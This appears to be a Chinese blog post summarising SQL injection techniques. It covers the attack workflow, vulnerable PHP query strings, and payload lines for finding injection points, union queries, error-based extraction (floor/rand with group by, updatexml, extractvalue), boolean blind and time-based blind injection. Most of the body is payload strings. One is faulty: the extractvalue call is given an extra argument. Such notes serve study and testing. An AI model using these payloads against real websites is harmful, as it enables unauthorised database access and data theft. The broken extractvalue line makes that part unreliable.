0
点赞
收藏
分享

微信扫一扫

SQL注入总结

陌岛 2022-03-25 阅读 72

SQL注入总结

1、工具

手工注入、sqlmap、脚本、burpsuit爆破

2、注入思路

注入点判断->注入类型判断->联合注入->报错注入->布尔盲注->时间盲注

盲注:数据库长度->数据库ASCII->表的个数->(第一个)表名的ASCII(limit)->列名的长度(limit)->列名的ASCII->此列下的字段个数->(第一个)字段的长度 ->(第一个)字段的ASCII

3、SQL注入点判断

$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

(1)基本:

单引号判断1'

不管是字符型还是数字型,输入单引号后都会因为单引号不匹配而报错,如果存在注入点的话就会返回一个不同的页面或者报错

(1)数字型

由上面的语句我们可以看到对于数字型是不存在引号的

1 and 1=1      :正常返回
1 and 1=2      :错误返回或其他页面
存在数字型注入

(2)字符型

由上面的语句可以看到字符型是有引号包裹的

1 and 1=1      :正常返回
1 and 1=2      :正常返回
1' and '1'='1  :正常返回
1' and '1'='2  :错误返回或其他页面
存在字符型

4、联合查询

(1)字段个数

id = 1 order by 1直到错误回显

union是将两个查询结果合并,程序通常会展示结果的第一行,因此若左边报错右边正确的话,返回的第一行就输出的是我们需要的查询语句。

(2)显位判断

id = -1 union select 1,2,3

(3)跨库查询

union select

5、报错盲注

(1)floor(rand(0)*2)andgroup by

union select 1,count(*),concat((playload),floor(rand(0)*2)) x from information_schema.columns group by x

union select 1 from (select count(*),concat((playload limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

对于表和列需要用limit n,1限制查询结果列数,进行第一个,第二个的查询

(2)updatexml()

?id=1 and updatexml(1,concat(0x7e,(playload),0x7e),1)

(3)extratvalue()

?id=1 and extractvalue(1,concat(0x7e,(playload),0x7e),1)

6、布尔盲注

and length()>n   //长度判断

and ascii(substr((playload),n,1))>n     //ascii判断

7、时间盲注

and if((playload),sleep(n),0)
举报

相关推荐

0 条评论